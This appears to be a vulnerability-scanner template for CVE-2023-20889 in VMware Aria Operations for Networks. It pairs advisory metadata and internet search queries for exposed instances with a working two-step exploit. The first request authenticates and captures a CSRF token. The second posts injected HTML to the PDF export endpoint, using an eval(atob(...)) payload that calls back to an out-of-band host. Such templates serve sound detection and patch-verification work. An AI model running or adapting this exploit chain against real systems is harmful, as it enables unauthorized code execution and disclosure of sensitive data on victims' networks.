VMware Aria Operations for Networks - Code Injection Information Disclosure Vulnerability

id: CVE-2023-20889

info:
  name: VMware Aria Operations for Networks - Code Injection Information Disclosure Vulnerability
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Aria Operations for Networks contains an information disclosure vulnerability. A malicious actor with network access to VMware Aria Operations for Networks may be able to perform a command injection attack resulting in information disclosure.
  impact: |
    Successful exploitation of this vulnerability can result in unauthorized access to sensitive information.
  remediation: |
    Apply the latest security patches provided by VMware to mitigate this vulnerability.
  reference:
    - https://www.zerodayinitiative.com/advisories/ZDI-23-842/
    - https://www.vmware.com/security/advisories/VMSA-2023-0012.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-20889
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-20889
    cwe-id: CWE-77
    epss-score: 0.79117
    epss-percentile: 0.99602
    cpe: cpe:2.3:a:vmware:vrealize_network_insight:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: vmware
    product: vrealize_network_insight
    shodan-query:
      - title:"VMware Aria Operations"
      - http.title:"vmware vrealize network insight"
      - http.title:"vmware aria operations"
    fofa-query:
      - title="vmware vrealize network insight"
      - title="vmware aria operations"
    google-query:
      - intitle:"vmware aria operations"
      - intitle:"vmware vrealize network insight"
  tags: cve2023,cve,vmware,aria,disclosure,authenticated,rce,oast,intrusive,vuln
variables:
  payload: location='http://{{interactsh-url}}'

http:
  - raw:
      - |
        POST /api/auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json;charset=UTF-8
        X-Vrni-Csrf-Token: null

        {"username":"{{username}}","password":"{{password}}","domain":"localdomain"}
      - |
        POST /api/pdfexport HTTP/1.1
        Host: {{Hostname}}
        X-Vrni-Csrf-Token: {{csrf}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFkpSYDWZ5w9YNjmh

        ------WebKitFormBoundaryFkpSYDWZ5w9YNjmh
        Content-Disposition: form-data; name="{{randstr}}"

        <!DOCTYPE HTML>
        <html>
        <head>
        <title>Test</title>
        </head>
        <body>
        <p data-vrni='vRealize'><style>@keyframes x{}</style><xss style="animation-name:x" onwebkitanimationstart="eval(atob('{{base64(payload)}}'))"></xss></p>
        </body>
        </html>
        ------WebKitFormBoundaryFkpSYDWZ5w9YNjmh--

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - dns
          - http

      - type: word
        part: header_2
        words:
          - application/octet-stream

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - csrfToken":"([a-z0-9A-Z/+=]+)"
        internal: true
        part: body